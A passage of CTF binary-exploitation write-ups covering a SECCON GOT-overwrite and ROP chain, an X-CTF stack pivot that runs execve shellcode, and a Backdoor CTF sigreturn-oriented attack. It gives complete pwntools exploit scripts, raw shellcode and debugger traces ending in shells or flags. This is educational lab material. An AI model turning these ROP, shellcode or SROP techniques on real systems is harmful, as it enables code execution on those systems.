0x00007ffd12150f40│+0x0010: 0x0000000000000000
0x00007ffd12150f48│+0x0018: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d
0x00007ffd12150f50│+0x0020: 0x0000ff5666dcfd1d
0x00007ffd12150f58│+0x0028: 0xc21062d171a89f00
0x00007ffd12150f60│+0x0030: 0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp
0x00007ffd12150f68│+0x0038: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400a3e <__libc_csu_init+94> pop    r13
     0x400a40 <__libc_csu_init+96> pop    r14
     0x400a42 <__libc_csu_init+98> pop    r15
 →   0x400a44 <__libc_csu_init+100> ret    
   ↳  0x7fab33435440 <system+0>       test   rdi, rdi
      0x7fab33435443 <system+3>       je     0x7fab33435450 <system+16>
      0x7fab33435445 <system+5>       jmp    0x7fab33434eb0
      0x7fab3343544a <system+10>      nop    WORD PTR [rax+rax*1+0x0]
      0x7fab33435450 <system+16>      lea    rdi, [rip+0x164a4b]        # 0x7fab33599ea2
      0x7fab33435457 <system+23>      sub    rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400a44 → __libc_csu_init()
[#1] 0x7fab33435440 → test rdi, rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000400a44 in __libc_csu_init ()
gef➤  x/s $rdi
0x7fab33599e9a:    "/bin/sh"
gef➤  

Exploit

Putting it all together, we have the following exploit:

from pwn import *

# Establish the target
#target = remote("sum.chal.seccon.jp", 10001)
target = process('sum_ccafa40ee6a5a675341787636292bf3c84d17264', env={"LD_PRELOAD":"./libc.so"})
#gdb.attach(target, gdbscript='b *0x4009bf\nb *0x4009a7')

# Establish the libc / binary files
elf = ELF('sum_ccafa40ee6a5a675341787636292bf3c84d17264')
libc = ELF("libc.so")

# Establish some needed addresses
main = elf.symbols['main']

popRdi = 0x400a43


# A function to handle the qword writes
def write(adr, value):
    target.sendline("9223372036854775807")
    target.sendline(str(0x7fffffffffffffff - adr))
    target.sendline("1")
    target.sendline("1")
    target.sendline(str(value))

    target.sendline(str(adr))

# Overwrite got address of exit with the starting address of main
write(elf.got['exit'], main)

# Overwrite got address of printf with popRdi gadget
write(elf.got['printf'], popRdi)

# Rop chain to leak libc via puts(got_puts)
target.sendline(str(popRdi))                # pop rdi to make puts call
target.sendline(str(elf.got['puts']))       # got address of puts, argument to puts call
target.sendline(str(elf.symbols['puts']))   # plt address of puts
target.sendline(str(0x4009a7))              # address of `call exit`, to bring us back to start of main
target.sendline("0")                        # 0 to end number sequence


# Scan in output of program, to make it to the infoleak
for i in range(0, 18):
    print target.recvline()

# Scan in and parse out infoleak, figure out where libc base is
leak = target.recvline().strip("\n")
leak = u64(leak + "\x00"*(8 - len(leak)))
base = leak - libc.symbols["puts"]

print "base is: " + hex(base)

# Rop chain to call system("/bin/sh")
target.sendline(str(popRdi))                        # pop rdi to make system call
target.sendline(str(base + 0x1b3e9a))               # binsh libc address
target.sendline(str(base + libc.symbols["system"])) # libc address of system, which we will return to
target.sendline("0")                                # 0 to end sequence


target.interactive()

When we run it:

$    python exploit.py
[+] Opening connection to sum.chal.seccon.jp on port 10001: Done
[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/guyinatuxedo/Desktop/seccon/sum/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[sum system]

Input numbers except for 0.

0 is interpreted as the end of sequence.



[Example]

2 3 4 0

[sum system]

Input numbers except for 0.

0 is interpreted as the end of sequence.



[Example]

2 3 4 0

[sum system]

Input numbers except for 0.

0 is interpreted as the end of sequence.



[Example]

2 3 4 0

base is: 0x7f796623c000
[*] Switching to interactive mode
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
$ w
 20:42:25 up 18:10,  0 users,  load average: 0.02, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sum
sys
tmp
usr
var
$ cat flag.txt
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
$  

Just like that, we pwned the challenge!

xctf16_b0verflow

Let's take a look at the binary:

$    file b0verflow
b0verflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9f2d9dc0c9cc531c9656e6e84359398dd765b684, not stripped
$     pwn checksec b0verflow
[*] '/Hackery/pod/modules/stack_pivot/xctf16_b0verflow/b0verflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$    ./b0verflow

======================

Welcome to X-CTF 2016!

======================
What's your name?
guyinatuxedo
Hello guyinatuxedo

So we can see that we are dealing with a 32 bit dynamically linked binary, with none of the standard mitigations (and has memory segments with rwx permissions). When we run it, it prompts us for input, and prints it back to us.

Reversing

When we take a look at the main function in Ghidra, we see this:

void main(void)

{
  vul();
  return;
}

So we can see that it essentially just calls the vul function, which does this:

undefined4 vul(void)

{
  char vulnBuf [32];
 
  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What\'s your name?");
  fflush(stdout);
  fgets(vulnBuf,0x32,stdin);
  printf("Hello %s.",vulnBuf);
  fflush(stdout);
  return 1;
}

So we can see that it prints out some text. Then it scans 0x32 (50) bytes worth of data into a 32 byte buffer, giving us an 18 byte buffer overflow. Proceeding that the function returns.

Stack Pivot Exploit

So we can overwrite the return address (seeing where the start of our input is in comparison to the saved return address is, we can see that the offset is 0x24 bytes since 0xffffd11c - 0xffffd0f8 = 0x24):

gef➤  b *0x804857a
Breakpoint 1 at 0x804857a
gef➤  r
Starting program: /Hackery/pod/modules/stack_pivot/xctf16_b0verflow/b0verflow

======================

Welcome to X-CTF 2016!

======================
What's your name?
15935728

Breakpoint 1, 0x0804857a in vul ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd0f8  →  "15935728"
$ebx   : 0x0       
$ecx   : 0xf7fb601c  →  0x00000000
$edx   : 0xffffd0f8  →  "15935728"
$esp   : 0xffffd0e0  →  0xffffd0f8  →  "15935728"
$ebp   : 0xffffd118  →  0xffffd128  →  0x00000000
$esi   : 0xf7fb4000  →  0x001dbd6c
$edi   : 0xf7fb4000  →  0x001dbd6c
$eip   : 0x0804857a  →  <vul+95> lea eax, [ebp-0x20]
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffd0e0│+0x0000: 0xffffd0f8  →  "15935728"     ← $esp
0xffffd0e4│+0x0004: 0x00000032 ("2"?)
0xffffd0e8│+0x0008: 0xf7fb45c0  →  0xfbad2288
0xffffd0ec│+0x000c: 0x08048369  →  <_init+9> add ebx, 0x1c97
0xffffd0f0│+0x0010: 0xf7fb43fc  →  0xf7fb5980  →  0x00000000
0xffffd0f4│+0x0014: 0x00040000
0xffffd0f8│+0x0018: "15935728"
0xffffd0fc│+0x001c: "5728"
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x804856f <vul+84>         lea    eax, [ebp-0x20]
    0x8048572 <vul+87>         mov    DWORD PTR [esp], eax
    0x8048575 <vul+90>         call   0x80483c0 <fgets@plt>
 →  0x804857a <vul+95>         lea    eax, [ebp-0x20]
    0x804857d <vul+98>         mov    DWORD PTR [esp+0x4], eax
    0x8048581 <vul+102>        mov    DWORD PTR [esp], 0x8048682
    0x8048588 <vul+109>        call   0x80483a0 <printf@plt>
    0x804858d <vul+114>        mov    eax, ds:0x804a060
    0x8048592 <vul+119>        mov    DWORD PTR [esp], eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804857a → vul()
[#1] 0x8048519 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rwx
  0x804b570 - 0x804b578  →   "15935728"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffd0f8 - 0xffffd100  →   "15935728"
gef➤  i f
Stack level 0, frame at 0xffffd120:
 eip = 0x804857a in vul; saved eip = 0x8048519
 called by frame at 0xffffd130
 Arglist at 0xffffd118, args:
 Locals at 0xffffd118, Previous frame's sp is 0xffffd120
 Saved registers:
  ebp at 0xffffd118, eip at 0xffffd11c

So the question is, what will we call. PIE isn't enabled, so we can call gadgets from the binary. At the moment we don't have a stack or libc infoleak. The gadgets from the binary won't be enough to pop a shell on it's own, however it will be enough to call shellcode on the stack without a stack infoleak:

Stack pivot gadget:

$    python ROPgadget.py --binary b0verflow | grep "sub esp"
0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret

Jmp esp gadget:

$    python ROPgadget.py --binary b0verflow | grep "jmp esp"
0x08048504 : jmp esp

So we will call the Stack pivot gadget first, then the jmp esp gadget. The stack pivot gadget will move the stack pointer down to our own input. It will leave off by executing the first DWORD of our input as an instruction pointer. That instruction pointer will be the jmp esp gadget. When that instruction is executed, the esp pointer will point to the new DWORD, which will be the second 4 bytes of our input. We will store our shellcode there, which will be executed by the jmp esp gadget. Let's take a look at how these gadgets operate:

We start off with the stack pivot gadget:

0x080484fd in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1       
$ebx   : 0x0       
$ecx   : 0xf7f2b010  →  0x00000000
$edx   : 0x0       
$esp   : 0xffa29750  →  0x08048504  →  <hint+7> jmp esp
$ebp   : 0x31313131 ("1111"?)
$esi   : 0xf7f29000  →  0x001dbd6c
$edi   : 0xf7f29000  →  0x001dbd6c
$eip   : 0x080484fd  →  <hint+0> push ebp
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa29750│+0x0000: 0x08048504  →  <hint+7> jmp esp     ← $esp
0xffa29754│+0x0004: 0xf7f2000a  →  0x02b00e46
0xffa29758│+0x0008: 0x00000000
0xffa2975c│+0x000c: 0xf7d6b751  →  <__libc_start_main+241> add esp, 0x10
0xffa29760│+0x0010: 0x00000001
0xffa29764│+0x0014: 0xffa297f4  →  0xffa2a3e2  →  "./b0verflow"
0xffa29768│+0x0018: 0xffa297fc  →  0xffa2a3ee  →  "GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/7[...]"
0xffa2976c│+0x001c: 0xffa29784  →  0x00000000
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80484f2 <frame_dummy+34> jmp    0x8048470 <register_tm_clones>
    0x80484f7 <frame_dummy+39> nop    
    0x80484f8 <frame_dummy+40> jmp    0x8048470 <register_tm_clones>
 →  0x80484fd <hint+0>         push   ebp
    0x80484fe <hint+1>         mov    ebp, esp
    0x8048500 <hint+3>         sub    esp, 0x24
    0x8048503 <hint+6>         ret    
    0x8048504 <hint+7>         jmp    esp
    0x8048506 <hint+9>         ret    
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80484fd → hint()
[#1] 0x8048504 → hint()
────────────────────────────────────────────────────────────────────────────────
gef➤  p $esp
$1 = (void *) 0xffa29750

We can see that the esp register is equal to 0xffa29750. We can see that it decrements the value of the esp register by 0x28 (0x24 from the sub, 0x4 from the pop):

0x08048503 in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1       
$ebx   : 0x0       
$ecx   : 0xf7f2b010  →  0x00000000
$edx   : 0x0       
$esp   : 0xffa29728  →  0x08048504  →  <hint+7> jmp esp
$ebp   : 0xffa2974c  →  0x31313131 ("1111"?)
$esi   : 0xf7f29000  →  0x001dbd6c
$edi   : 0xf7f29000  →  0x001dbd6c
$eip   : 0x08048503  →  <hint+6> ret
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa29728│+0x0000: 0x08048504  →  <hint+7> jmp esp     ← $esp
0xffa2972c│+0x0004: 0x6850c031
0xffa29730│+0x0008: 0x68732f2f
0xffa29734│+0x000c: 0x69622f68
0xffa29738│+0x0010: 0x50e3896e
0xffa2973c│+0x0014: 0xb0e18953
0xffa29740│+0x0018: 0x3180cd0b
0xffa29744│+0x001c: 0x31313131
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80484fd <hint+0>         push   ebp
    0x80484fe <hint+1>         mov    ebp, esp
    0x8048500 <hint+3>         sub    esp, 0x24
 →  0x8048503 <hint+6>         ret    
   ↳   0x8048504 <hint+7>         jmp    esp
       0x8048506 <hint+9>         ret    
       0x8048507 <hint+10>        mov    eax, 0x1
       0x804850c <hint+15>        pop    ebp
       0x804850d <hint+16>        ret    
       0x804850e <main+0>         push   ebp
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048503 → hint()
[#1] 0x8048504 → hint()
[#2] 0x8048504 → hint()
────────────────────────────────────────────────────────────────────────────────
gef➤  p $esp
$2 = (void *) 0xffa29728
gef➤  x/w 0xffa29728
0xffa29728:    0x8048504
gef➤  x/2i 0x8048504
=> 0x8048504 <hint+7>:    jmp    esp
   0x8048506 <hint+9>:    ret

We can see that esp points to our jump esp gadget at the start of our input.

0x08048504 in hint ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1       
$ebx   : 0x0       
$ecx   : 0xf7f2b010  →  0x00000000
$edx   : 0x0       
$esp   : 0xffa2972c  →  0x6850c031
$ebp   : 0xffa2974c  →  0x31313131 ("1111"?)
$esi   : 0xf7f29000  →  0x001dbd6c
$edi   : 0xf7f29000  →  0x001dbd6c
$eip   : 0x08048504  →  <hint+7> jmp esp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffa2972c│+0x0000: 0x6850c031     ← $esp
0xffa29730│+0x0004: 0x68732f2f
0xffa29734│+0x0008: 0x69622f68
0xffa29738│+0x000c: 0x50e3896e
0xffa2973c│+0x0010: 0xb0e18953
0xffa29740│+0x0014: 0x3180cd0b
0xffa29744│+0x0018: 0x31313131
0xffa29748│+0x001c: 0x31313131
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80484fe <hint+1>         mov    ebp, esp
    0x8048500 <hint+3>         sub    esp, 0x24
    0x8048503 <hint+6>         ret    
 →  0x8048504 <hint+7>         jmp    esp
    0x8048506 <hint+9>         ret    
    0x8048507 <hint+10>        mov    eax, 0x1
    0x804850c <hint+15>        pop    ebp
    0x804850d <hint+16>        ret    
    0x804850e <main+0>         push   ebp
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "b0verflow", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048504 → hint()
[#1] 0x8048504 → hint()
────────────────────────────────────────────────────────────────────────────────
gef➤  p $esp
$4 = (void *) 0xffa2972c
gef➤  x/10i 0xffa2972c
   0xffa2972c:    xor    eax,eax
   0xffa2972e:    push   eax
   0xffa2972f:    push   0x68732f2f
   0xffa29734:    push   0x6e69622f
   0xffa29739:    mov    ebx,esp
   0xffa2973b:    push   eax
   0xffa2973c:    push   ebx
   0xffa2973d:    mov    ecx,esp
   0xffa2973f:    mov    al,0xb
   0xffa29741:    int    0x80

We can see that when the jmp esp gadget is ran, esp points to our shellcode (which is stored right after the jmp esp gadget). With that, our shellcode is executed and we get a shell. Also I did not write the shellcode myself, I got it from http://shell-storm.org/shellcode/files/shellcode-827.php.

Exploit

Putting it all together, we have the following exploit:

from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

When we run the exploit:

$    python exploit.py
[+] Starting local process './b0verflow': pid 18753
[*] Switching to interactive mode

======================

Welcome to X-CTF 2016!

======================
What's your name?
Hello \x04\x85\x01�Ph//shh/bin\x89�PS\x89�
                                          111111111��
.$                                                  w
 01:25:14 up 11:10,  1 user,  load average: 1.04, 1.27, 1.35
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:15   ?xdm?  42:41   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
ROPgadget.py  b0verflow  core  exploit.py  readme.md

Just like that, we popped a shell!

SIGROP (SROP)

Backdoorctf Funsignals

Let's take a look at the binary (also the goal of this challenge will be to print the flag, not pop a shell):

$    file funsignals_player_bin
funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
$    pwn checksec funsignals_player_bin
[*] '/Hackery/pod/modules/srop/backdoor_funsignals/funsignals_player_bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x10000000)
    RWX:      Has RWX segments
$    /funsignals_player_bin
15935728
Segmentation fault (core dumped)

So we can see that it is a 64 bit statically linked binary, with none of the standard binary mitigations. When we run it, we see that it scans in input, then seg faults.

Reversing

Looking at the code in Ghidra, we see that this isn't a normal binary (probably just assembled versus compiled). Looking at the assembly code we see this:

                             //
                             // .shellcode
                             // SHT_PROGBITS  [0x10000000 - 0x1000004a]
                             // ram: 10000000-1000004a
                             //
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined entry()
             undefined         AL:1           <RETURN>
                             _start                                          XREF[4]:     Entry Point(*),
                             __start                                                      _elfHeader::00000018(*),
                             entry                                                        _elfProgramHeaders::00000010(*),
                                                                                          _elfSectionHeaders::00000050(*)  
        10000000 31 c0           XOR        EAX,EAX
        10000002 31 ff           XOR        EDI,EDI
        10000004 31 d2           XOR        EDX,EDX
        10000006 b6 04           MOV        DH,0x4
        10000008 48 89 e6        MOV        RSI,RSP
        1000000b 0f 05           SYSCALL
        1000000d 31 ff           XOR        EDI,EDI
        1000000f 6a 0f           PUSH       0xf
        10000011 58              POP        RAX
        10000012 0f 05           SYSCALL
        10000014 cc              INT        3

So we can see here, it executes two syscalls. For the first, the registers are equal to this:

RAX:    0x0
RDI:    0x0
RDX:    0x400
RSI:    ptr to top of stack (stack pointer rsp)

So here it is making a read syscall (check https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ for more details). It is scanning in 0x400 bytes of data via stdin into the top of the stack.

For the next syscall, the registers are equal to this:

RAX:    0xf
RDI:    0x0

So here it is performing a Sigreturn syscall. When the kernel delivers a signal from a program, it creates a frame on the stack before it is passed to the signal handler. Then after that is done that frame is used as context for a sigreturn syscall to return code execution to where it was interrupted. It does this by popping values off of the top of the stack into registers, which were stored there so execution could continue after the signal is dealt with. The syscall itself takes a single argument in the rdi register (however for our use, it's not important in this context). We can tell that a sigreturn syscall is being made since it pops the value 0xf into the rax register before making the syscall to speecify a sigreturn syscall. Checkout https://lwn.net/Articles/676803/ and https://thisissecurity.stormshield.com/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/ for more.

Also another important thing to note, we can see that the flag is stored in the binary at the address 0x10000023:

                             flag
        10000023 66 61 6b        ds         "fake_flag_here_as_original_is_at_server"
                 65 5f 66
                 6c 61 67

Exploitation

So for our exploitation, we will be doing a Sigreturn Oriented Programming attack (SROP). Essentially what that is is when we use a sigreturn to take control of the all of the registers. Since we get to scan in 0x400 bytes worth of data to the top of the stack which is pointed to by the rsp register (along with the fact that it makes a sigreturn call after that), and a sigreturn pops values off of the top of the stack into the registers.

SROP is really useful in a lot of cases where traditional ROP won't work. It gives us control of the instruction pointer which is executed, and all other registers.

Just if you're curiosus, this is the sigcontext structure that is stored on the stack, which is used by the sigreturn to pop values into the register (for x64). This diagram is originally from https://amriunix.com/post/sigreturn-oriented-programming-srop/:

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

So now is the question of what will we do with our syscall. Looking through the code, we can see multiple syscalls (both will work for our purposes, doesn't matter too much for our purposes):

        1000000b 0f 05           SYSCALL
        10000012 0f 05           SYSCALL

So using the sigreturn, we can set rip to either address and execute a syscall. Since we have control over the registers, we can control what syscall is made. We can just go with a write syscall, to print the contents of the flag to us. To do that, we will need to set the following registers equal to these values:

RIP:    0x1000000b (address of a syscall, could use other syscalls)
RAX:    0x1 (specify write syscall)
RDI:    0x1 (specify stdout to write it to)
RSI:    0x10000023 (address of the flag)
RDX:    0x400 (amount of bytes to print, 0x400 is clearly overkill)

Exploit

Putting it all together, we have the following exploit. Also one thing, pwntools has the capability to automatically build out a sigreturn frame, you just need to specify what values you want for what registers. It makes this really easy:

from pwn import *

target = process('./funsignals_player_bin')

# Specify the architecture
context.arch = "amd64"

frame = SigreturnFrame()

# Specify rip to point to the syscall instruction
frame.rip = 0x1000000b

# Prep the registers for a write syscall
frame.rax = 0x1
frame.rdi = 0x1
frame.rsi = 0x10000023
frame.rdx = 0x400

# Send the sigreturn frame
target.send(str(frame))

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './funsignals_player_bin': pid 7092
[*] Switching to interactive mode
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x15\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00\x00\x00\x00#\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00)\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x10\x00��@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/tmp/pwn-asm-T0zexC/step2\x00syscall\x00flag\x00__start\x00__bss_start\x00_edata\x00_end\x00\x00.symtab\x00.strtab\x00.shstrtab\x00.shellcode\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00K\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x11\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x10\x00\x00\x00\x00\x00\x00�\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x0\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00    \x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x11\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\[*] Got EOF while reading in interactive

Just like that, we got the flag (followed by a lot of null bytes)!

Csaw 2019 Smallboi

Let's take a look at the binary:

$    file small_boi
